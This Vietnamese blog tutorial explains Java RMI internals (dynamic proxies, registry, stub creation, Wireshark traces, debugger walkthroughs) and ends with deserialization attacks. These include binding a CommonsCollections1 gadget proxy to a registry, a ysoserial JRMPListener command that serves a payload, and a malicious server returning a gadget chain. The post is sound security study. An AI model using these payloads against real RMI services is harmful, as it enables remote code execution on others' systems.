Skip to main content

Command Palette

Search for a command to run...

Java RMI

Updated
•17 min read•View as Markdown
Java RMI

RMI, một chủ đề khá cũ rồi nhưng để làm nóng lại thì mình sẽ viết lại chỉnh chu thành blog luôn ( trước đây 1 năm có ngồi học vọc nhưng không take note và tần xuất gặp cũng ít nên dễ quên @@.


Java RMI (Remote Method Invocation) là cơ chế trong Java cho phép một đối tượng (object) đang chạy trên một JVM (Java Virtual Machine) có thể gọi phương thức của đối tượng khác nằm trên một JVM khác (thường là trên máy khác qua mạng). Nó giống như "RPC" (Remote Procedure Call) nhưng theo hướng đối tượng.

Trong bài blog này mình sẽ sử dụng jdk8u65 là jdk chính trong quá trình chạy.

Qua thời gian thì việc tấn công qua RMI ngày càng khó khăn hơn, kể từ sau jdk8u121 các method bind, rebind và unbind chỉ có thể attack thông qua localhost.

Việc giao tiếp của RMI dựa trên JRMP (Java Remote Message Protocol), giao thức này cũng như bao giao thức đã học như http, để giao tiếp thành công thì trước tiên phải trao đổi các điều kiện cụ thể thì việc trao đổi mới có thể diễn ra.

Java RMI architecture. 1. the server registers the remote object. 2. the client looks up the stub in the registry. 3. the client requests the stubs class file. 4. the client invokes methods on the remote object. The remote object and registry have to reside on the same machine

Trong mô hình trên thì có 3 thành phần cần lưu ý: Server, Client và Registry.

Registry như 1 nơi để Server lưu trữ các thông tin về service như address,port,… Sau đó khi client muốn lấy thông tin nó sẽ gọi đến registry để lấy address,port,… và sau đó tạo 1 remote call đến server.

Các tên gọi cần biết:

  • Stub: nó là 1 proxier cho remote object, điều này có nghĩa là client thực chất không gọi trực tiếp method mà nó muốn gọi đến remote server mà nó sẽ gọi thông qua stub này, stub sẽ thực hiện quá trình lookup rồi chờ kết quả trả về từ server và trả lại cho client.

Dynamic proxy

Dynamic Proxy trong Java là một cơ chế cho phép bạn tạo đối tượng proxy ở runtime (lúc chạy), thay vì phải viết sẵn code class proxy bằng tay. Proxy này sẽ đóng vai (implement) một hoặc nhiều interface mà bạn chỉ định, và mọi lời gọi phương thức đến proxy sẽ được chuyển đến một InvocationHandler để xử lý.

Trước tiên ta cần hiểu khai niệm cơ bản về proxy pattern là gì, thì đây là 1 cơ chế cung cấp 1 proxy cho 1 object và proxy này quản lí quyền truy cập đến object.

Trước khi đi vào dynamic proxy thì đầu tiên ta sẽ lấy ví dụ về static proxy trước cho dễ hiểu.

public interface InterfaceA {
    public void act1();
}

// Implement lại Interface ở trên
public class InterfaceAImpl implements Interface A{  
    public void act1() {  
        System.out.println("act1");
    }
}


// Thiết kế 1 Proxy cho Implement ở trên, proxy này sẽ chạy 2 hàm be và af giữa act1()

public class InterfaceAProxy implements InterfaceA {
    private InterfaceA obj; 

    public InterfaceAProxy(InterfaceA obj) {
        this.obj = obj;
    }
    public void act1() {
        before();
        obj.act1();
        after();
    }
    public void be() {
       System.out.println("before");
    } 
    public void af() {
        System.out.println("after");
    } 
}

Tạo proxy cho object

 public static void main(String[] args) {
        InterfaceA userServiceImpl = new InterfaceAImpl();
        InterfaceA proxy = new InterfaceAProxy(userServiceImpl);

        proxy.act1();
    }

// Output:
//be
//act1
//af

Nhìn sơ thì cũng có thể thấy sự tiện lợi trong việc không cần can thiệp vào code của Implement trên nhưng cái hại ở đây là nếu số lượng interface nhiều thì chẵng nhẽ ta lại viết nhiều proxy class?, hoặc nếu viết 1 proxy class implement nhiều interface thì lúc số lượng interface tăng lên thì code của proxy cũng sẽ rất lớn theo → việc control và maintain về sau sẽ vô cùng khó.

Việc gì đến cũng sẽ đến :)), tất nhiên là sẽ sinh ra cơ chế để tối ưu hơn → dynamic proxy ra đời

JDK dynamic proxy

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Date;

public class EchoHandler implements InvocationHandler {
    Object tmp;

    public EchoHandler(Object in) {
        this.tmp = in;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        be();
        Object result = method.invoke(tmp, args);  
        af();
        return result;
    }

    private void be() {
        System.out.println("before");
    }

    private void af() {
        System.out.println("after");
    }
}

Tạo proxy qua newProxyInstance()

import proxy.InterfaceA;
import proxy.InterfaceAImpl;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class Main {
    public static void main(String[] args) throws IllegalAccessException, InstantiationException {
        InterfaceA interfaceAImpl = new InterfaceAImpl();
        ClassLoader classLoader = interfaceAImpl.getClass().getClassLoader();
        Class[] interfaces = interfaceAImpl.getClass().getInterfaces();
        InvocationHandler echoHandler = new EchoHandler(interfaceAImpl);
        InterfaceA proxy = (InterfaceA) Proxy.newProxyInstance(classLoader, interfaces, echoHandler);

        proxy.act1();
        proxy.update();
    }
}

Giải thích sơ về code, đầu tiên tạo object interfaceAImpl , đây là object mà ta muốn proxy. Tiếp đến ta sẽ lấy classLoader của interfaceAImpl , tiếp đến lấy tất các interface mà class interfaceAImpl implement vì JDK Proxy chỉ làm việc với interface.

InvocationHandler là nơi bạn định nghĩa logic khi method được gọi qua proxy.

InterfaceA proxy = (InterfaceA) Proxy.newProxyInstance(classLoader, interfaces, logHandler);

JVM sẽ tạo ra một class mới trong runtime (ví dụ $Proxy0), class này implement qua đó tất cả lời gọi method (proxy.act1) sẽ chuyển vào echoHandler.invoke(). Trong Java Dynamic Proxy, khi dùng Proxy.newProxyInstance(...) thì JDK sẽ tự động sinh ra một lớp proxy (một .class trong bộ nhớ) để thay mặt cho interface mà bạn muốn. Để đọc được thì cần dùng ProxyGenerator.generateProxyClass để lấy bytecode từ memory ra và sau đó chỉ cần ghi ra file .class rồi decompile lại để xem thôi → Cái này người đọc có thể thử để biết cách mà java tạo dynamic như thế nào, spolier là nó sẽ tự tạo hàm như dưới này

public final void act1() throws  { // example here is act1
        try {
            super.h.invoke(this, m4, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

Hàm act1() này là hàm lúc gọi proxy.act1() → lúc này sẽ gọi super.h.invoke() , hàm invoke này chính là hàm invoke của EchoHandler .

Các method nổi bật cần chú ý sau:

  • java.lang.reflect.InvocationHandler: Đây là method duy nhất trong interface InvocationHandler ,Khi bạn gọi bất kỳ method nào trên đối tượng proxy, JVM sẽ chuyển hướng lời gọi này tới method invoke.

  • java.lang.reflect.Proxy: Lấy ra InvocationHandler gắn với đối tượng proxy.

  • static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) : Đây là phương thức thông dụng nhất để tạo proxy. Nó sẽ: Sinh ra một class proxy mới trong runtime (implement tất cả interfaces). Tạo một instance của class này. Liên kết instance với InvocationHandler h.

Ngoài JDK dynamic proxy thì còn có CGLIB dynamic proxy , mình sẽ để đây như từ khóa để các bạn có thể tự tìm hiểu thêm.

Quay trở lại phân tích về các thành phần của RMI.

Analysis

Server

Đầu tiên khởi tạo remote interface, ở đây define một interface có tên TestObj extends class Remote.

package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface TestObj extends Remote {
    public String methodTest(String keywords) throws RemoteException;
}

Tiếp đến là việc tạo 1 class Implement lại interface này

package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;


public class TestObjImpl extends UnicastRemoteObject implements TestObj{
    public TestObjImpl() throws RemoteException {
    }
    @Override
    public String methodTest(String str) throws RemoteException {
        String str2 = str + "_append";
        System.out.println(str2);
        return str2;
    }
}

Note: Việc extends class UnicastRemoteObject là để generate Stub và Skeleton. Các object này phải có thể được serialize tức là phải được inherite java.io.Serializable .

Tiếp đến ta sẽ register 1 obj của class trên

package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import javax.naming.NamingException;

public class Main {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {    
        TestObj testObj = new TestObjImpl() ;
        Registry registry = LocateRegistry.createRegistry(1099); 
        registry.bind("nicky",testObj);
}

Client code

Vì client sẽ lấy obj và call method vì thế ở client cũng phải triển khai interface.

package org.example;


import java.rmi.Remote;
import java.rmi.RemoteException;

public interface TestObj extends Remote {
    public String methodTest(String keywords) throws RemoteException;
}

Tiếp đến là hàm main của client

package org.example;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Main {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        TestObj remoteObj =  (TestObj) registry.lookup("nicky");
        remoteObj.methodTest("just a input");
}

Phân tích qua wireshark

Nguyên tắc giao tiếp của RMI thì sẽ có 2 tcp connection sẽ được tạo ra, đầu tiên là connection đến port mặc định 1099 (port này có thể tùy chỉnh được), cái thứ 2 là từ server đến client.

Connection đến 1099 này chắc chắn là từ client gọi đến rồi, nó gọi để tìm kiếm object có tên là TestObj, các object được lưu trên registry được đặt thêm 1 cái tên, vd TestObj này có thể đặt tên là “nicky” trên registry, lúc client gọi lookup đến “nicky” thì cũng có nghĩa là đang muốn lấy TestObj. Quá trình này tương ứng với gọi “Call” message mà bắt được trong data stream bên dưới. Lúc này client có port 58683 gửi đến 1099 của registry.

Tiếp đến Registry sẽ trả về serialized data như bên dưới.

Tiếp đến sau khi đã biết được ip và port ( 192.168.1.94:60533), client tạo 1 port mới để gửi gói tin đến server, server trả về unique id cho hàm được gọi để đảm bảo rằng hàm đó có thể được gọi. IP của client trong kết nối tcp này là 58687 .

Tiếp đến trace đến đoạn client gửi input của mình đến server hello

Và sau khi chạy server trả về hello_append

Phân tích code

Ok vậy là ta đã đi qua phần flow của RMI qua wireshark, tiếp đến nhảy vào debug luôn code xem gọi giếc đồ ra sao để có cái nhìn overview hơn cũng như là cách mà port thứ 2 mà client sẽ tạo connection đến server được tạo ra như thế nào,…

Trước hết ta sẽ đi từ code RMIServer project, ta sẽ phân tích về registry và server trong project này.

UnicastRemoteObject là lớp sẽ được extend từ class implement lại interface.

Khi tạo object mới từ class implement lại này thì điều hiển nhiên là nó sẽ gọi constructor của UnicastRemoteObject, lúc này port 0 sẽ là mặc định

Nhảy vào exportObject thì tại đây sẽ có 2 con đường, để tuần tự thì sẽ nhảy vào UnicastServerRef() để xem cách data về enpoint được wrap lại và sau đó ta sẽ phân tích về exportObject.

Sau khi nhảy f7 theo thì reach được tới LifeRef (Trong Java RMI implementation của Sun/Oracle, có một class nội bộ tên là sun.rmi.transport.LiveRef ).

LiveRef là một cấu trúc dữ liệu nội bộ của RMI, dùng để biểu diễn và quản lý remote reference. Đóng gói thông tin về remote object: bao gồm host, port, object ID.

Trong này có lớp TCPEndpoint, 1 class thuộc về network request của rmi, tạo channel để gửi nhận dữ liệu qua lại RMI stub và skeleton → điểm mấu chốt là đây là 1 lớp tạo req và req thì cần 2 thứ, đó là ip dest và port dest thì mới có thể tạo được req. Lưu ý điểm này và tiếp tục vào constructor của LiveRef, lúc này có thể thấy var2 được gán cho this.ep có giá trị ip dest là 192.168.1.94 và port dest là 0.

Ok vậy là ta đã biết được LiveRef lưu trữ đống data về endpoint như thế nào rồi, nhảy ra và phân tích con đường exportObject()

Tại đây điều đặt biệt là nó sẽ gọi exportObject của UnicastServerRef (cái này wrap chính tk LiveRef).

Thì đây, nhân vật chính đã đến, dòng code tạo ra stub

exportobject()

exportObject

Phần phía dưới là class loading và dynamic proxy, kết quả chính là stub mà ta mong muốn. Nếu như đã đọc phần giải thích về JDK dynamic proxy ở trên thì khúc này sẽ easy mà không bị vướng gì th :)))

Sau khi done phần createProxy , tiếp đến là việc tạo 1 object từ class Target (cấu trúc nội bộ đại diện cho một remote object đã export trên server).

Tiếp đến ở dòng ngay bên dưới sẽ gọi this.ref.exportObject(var6); , phần này tóm gọn là tạo socket và loop để lắng nghe connection đến, và thay đổi port từ 0 thành 1 giá trị random. Giá trị random này chính là giá trị port trong gói tin “ReturnData” mà ta đã phân tích ở lúc bắt gói tin wireshark.

Sau khi publish object ra thì tiếp đến là việc lưu trữ obj nào đã publish ra thông qua class ObjectTable, RMI sẽ lưu trữ thông tin trong 2 table là objTable và implTable đã bôi ở bên dưới.

Khi đã đọc đến đây thì nhìn dài dài vậy thôi chứ bản chất ta chỉ mới đi qua 1 dòng :))))

TestObj testObj = new TestObjImpl();

Registry

Đối với registry thì vì flow đoạn đi khác giống nhau nên mình sẽ không nhắc lại tại đây, điểm khác biệt bắt đầu xảy ra ở hàm createProxy() lúc này ở đkien if đã thực hiên check xem stub đã tồn tại chưa → vì đã tạo nên nó sẽ nhảy xuống else thay vì gọi tiếp đến Proxy.newProxyInstance .

Hàm này chỉ đơn giản tạo object thông qua reflection thôi

Tiếp đến có phần cần lưu ý sau khi chạy xong Util.createProxy thì sẽ nhảy vào this.setSkeletion ở dòng 91

Đọc tên thì cũng rõ step này làm gì rồi, mọi người có thể tự mình step into để coi rõ hơn.

Client part

Nhắc sơ lại về code của client

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        TestObj remoteObj =  (TestObj) registry.lookup("nicky");
        remoteObj.methodTest("hello");

Dòng đầu không có gì để nói cả, ta sẽ tập trung vào phần lookup bên dưới

Tại đây có thể thấy phần ngoặc đỏ thì là phần lấy tên nickname đem serialize để tìm kiếm trên registry.

Ngay bên dưới có hàm invoke(), hàm này sẽ gọi đến executeCall() , qua đọc code sơ thì mục đích là để bắt exception nhưng mà nếu registry trả về chuỗi deser độc hại thì chẳng khác nào client đang tự mình derser ra và dính trap.

Tiếp tục phân tích tiếp cách mà client gọi method qua stub, để đỡ dài thì mình sẽ skip bớt chỉ giữ lại phần chính ( có thể quan sát trong stacktrace về flow của nó :3). Thì khi gọi thông qua dynamic proxy thì flow bắt đầu với invoke() → invokeRemoteMethod() → invoke() → loop for mashelValue()

Đây chính là nơi mà input của ta được serialize

Ngay phần bên dưới gọi lại executeCall() (như đã phân tích ở trên thì hàm này thực hiện deser object → risk here) và ngay sau đó gọi hàm unmarshelValue() để lấy về kết quả của method

Vậy chẳng phải quá rõ 2 nơi thực hiện deser sao? đó là executeCall() và unmarshelValue()

Process the request from client

Cách tìm breakpoint để đặt chỗ này liên quan đến việc phân tích ở trên, như đã nói thì sau khi publish object ra ngoài thì service sẽ thực hiện lưu lại trong 2 table trong class ObjectTable. Từ ObjectTable này đi tìm lò dò xem phương thức get ở đây là getTarget() được gọi ở những chỗ nào.

Đoạn code bên dưới cho ta thấy ở phía còn lại nó sẽ thao tác trên skel lúc này nằm trong disp (UnicastServerRef), dòng 86 thực hiện lấy ra và gọi method dispath() ở dòng 104.

serviceCall()

Có tổng cộng 3 Impl_Stub lần lượt là RegistryImpl_Stub, DGCImpl_Stub và $Proxy0 sẽ được lấy ra từ var5.getImpl(). $Proxy0 chính là dynamic proxy tạo ra cho object. Đầu tiên là RegistryImpl_Stub được lấy ra, quá trình này xử lí cho request ở đây là lookup từ client.

Tiếp tục nhảy vào bên trong oldDispatch thì ta gặp 1 đoạn switch case như bên dưới (chú ý đoạn oldDispatch này tí có nhắc lại).

Hiện nay thì có 5 action có thể thực hiện tương ứng với 5 case của block switch này, lần lượt 0 - bind, 1 - list, 2 - lookup, 3 - rebind, 4 -unbind.

Ở các action bind, lookup, rebind, unbind đều gọi readObject() để deser thông tin từ client ở đây là hành động lookup tên trên registry.


Ok vì code registry chạy chung với server nên từ phần dưới đây sẽ là do server xử lí gọi hàm từ client.

Tiếp tục f8 hay f9 thì ta lại gặp lại breakpoint ở serviceCall, lúc này ở getDispatcher() sẽ trả về DGC

f9 skip thì thứ 3 ta sẽ thấy lúc này skel sẽ là null vì thế nó sẽ không nhảy vào hàm old và đi xuống dưới thực hiện unmarshalValue

Ở đây thì text gửi từ client được deser ra và cuối cùng gọi method.invoke để thực hiện

Vậy là ta đã đi qua các nơi chạy readObject()

Nói sơ qua về thành phần âm thầm làm việc thu dọn “rác” DGCImpl_Stub thì việc tạo ra nó tương tự như cách được tạo ở phần registry chỉ khác ở chức năng là nó sẽ được sử dụng cho việc quản lí memory thay vì đăng kí object. Trong DGCImpl_Stub thì có 2 method cần quan tâm, đó là clean và dirty. Cái tên phần nào nói lên cách làm việc :))) clean là dọn sạch còn dirty là dọn nhẹ nhẹ nên vì thế mới còn “dơ”. Và tất nhiên không chỉ để nhắc đến cho vui, hàm clean có

Các kiểu attack

registry attack

Basic thì có kiểu attack đến registry thông qua bind,rebind & lookup, unbind. Trường hợp dễ thì có bind và rebind, vì có truyền object vào trong lệnh vd như bind(“name”, obj). Lấy lại hình ở bên trên phân tích lại thì có thể thấy khi gọi bind tức case 0 , chương trình sẽ thực hiện readObject() trên var105, chính là obj trong lệnh vd bind bên trên.

Yêu cầu của lệnh đó là sau cast về Remote → khi tạo payload thì obj này sẽ có liên quan đến class Remote này. Đặt bối cảnh trong code này có thư viện CommonCollection 3.2.1, việc Remote gọi readObject() trong TH này thì không có gì cả vì thế có cách nào để móc nối chỗ này với các chain đã biết trong CC?. Câu trả lời là dynamic proxy. Câu trả lời cho vấn đề này là tạo ra một Proxy cho obj từ class Remote, Proxy được tạo dynamic thì cần có 3 thứ classLoader, interfaces và handler

InterfaceA proxy = (InterfaceA) Proxy.newProxyInstance(classLoader, interfaces, logHandler);

với classLoader là interfaces thì lấy ra từ class Remote, handler này sẽ là phần thực hiện các method được gọi, vd ở đây là readObject(), nó sẽ gọi invoke() của handler trước → trong các chain đã biết có chain CC1 đi từ AnnotationInvocationHandler.readObject() → khi deser Proxy của 1 object lớp Remote có handler là AnnotationInvocationHandler thì readObject() của AnnotationInvocationHandler cũng sẽ được gọi từ đó trigger toàn bộ chain CC1.

        InvocationHandler handler = (InvocationHandler) CC1();
        Remote remoteObj = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

        registry.bind("cc1",remoteObj);

Còn đối với unbind và lookup thì khó hơn vì không như bind và rebind truyền obj qua, unbind và lookup chỉ cho truyền string name thôi → phải force connect để pass object vào

public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
    try {
        RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

        try {
            ObjectOutput var3 = var2.getOutputStream();
            var3.writeObject(var1);
        } catch (IOException var18) {
            throw new MarshalException("error marshalling arguments", var18);
        }

        super.ref.invoke(var2);

        Remote var23;
<SNIP>

Về payload thì mn có thể tham khảo blog của https://cvefinder.fun/Java-RMI-ji-qi-fan-xu-lie-hua-xue-xi-md phần 3.3.5 Attacking the Registry.


client attack

Với trường hợp này thì không cần nói nhiều, client tự khác deser obj ra từ data remote trả về như phân tích ở các phần trên → chỉ cần control được server hay registry mà client tạo request đến

  • Với TH control được registry thì trong ysoserial có JRMPListener cho sẵn để khi client thực hiện 5 action để truy vấn đến thì data trả về là chuỗi serialize độc hại từ trigger các sink đã phân tích ở client phía trên.
java - cp .\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

Client chỉ cần truy cập và gọi bất kì method nào

 Registry registry = LocateRegistry.getRegistry("ip attacker",1099);
 registry.lookup("nicky");
  • Với TH control được server thì sẽ có 2 cách chính để exploit
  1. Object objects.

  2. Dùng codebase.

Với Object objects thì method của remote obj thường được khai báo như này

public interface TestObj extends Remote {
    public Object methodTest(String keywords) throws RemoteException;
}

Kiểu trả về là Object nên khi gọi đến act1() từ client, server chỉ cần setup để return về 1 chain mà mình mong muốn th

public class TestObjImpl extends UnicastRemoteObject implements TestObj{
    public TestObjImpl() throws RemoteException {
    }
    @Override
    public String methodTest(String str) throws RemoteException {
        return CC1();
    }
}

Tham khảo